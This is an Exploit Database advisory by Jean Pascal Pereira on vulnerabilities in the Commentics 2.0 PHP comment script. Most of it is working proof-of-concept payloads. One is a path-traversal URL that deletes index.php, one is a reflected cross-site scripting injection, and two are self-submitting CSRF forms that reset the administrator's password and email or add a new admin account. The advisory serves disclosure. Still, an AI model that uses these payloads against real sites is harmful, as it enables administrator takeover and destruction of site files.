Commentics 2.0 – Multiple Vulnerabilities

• Exploit Database
• 100 阅读

• 作者： Jean Pascal Pereira
  日期： 2012-06-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/19325/
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  ################################################# Commentics 2.0 <= Multiple Vulnerabilities #################################################   Discovered by: Jean Pascal Pereira <pereira@secbiz.de>   Vendor information:   "Commentics is a free, advanced PHP comment script with many features. Professionally written and with open source code, its main aims are to be integrable, customizable and secure."   Vendor URI: http://www.commentics.org/   #################################################   Issues: Cross Site Scripting, Cross Site Request Forgery / File Deletion   Risk-level: High   The whole administration interface is prone to several client-side attacks.   -------------------------------------   Exploit / Proof Of Concept:   (Note that almost every parameter is vulnerable. These are only a few examples.)     1. File deletion vulnerability (deletes index.php):   http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=tool_db_backup&action=delete&id=../index.php     2. Cross Site Scripting:   http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=edit_page&id="><script>alert(1)</script><!--     3. CSRF / Change admin email and password:   <form method="POST" action="http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=settings_administrator"> <input type="text" name="username" value="admin" /> <input type="text" name="password_1" value="1234" /> <input type="text" name="password_2" value"=1234" /> <input type="text" name="email" value="admin%40binkmail.com" /> <input type="text" name="receive_email_new_ban" value="on" /> <input type="text" name="receive_email_new_comment_approve" value="on" /> <input type="text" name="receive_email_new_comment_okay" value="on" /> <input type="text" name="receive_email_new_flag" value="on" /> <input type="text" name="submit" value="Update" /> </form> <script>document.forms[0].submit()</script>     4. CSRF / Add new admin user   <form method="POST" action="http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=settings_administrator"> <input type="text" name="username" value="newadmin" /> <input type="text" name="password_1" value="1234" /> <input type="text" name="password_2" value"=1234" /> <input type="text" name="email" value="newadmin%40binkmail.com" /> <input type="text" name="submit" value="Add+Admin" /> </form> <script>document.forms[0].submit()</script>   -------------------------------------   Solution:   Do some input validation.   -------------------------------------   #################################################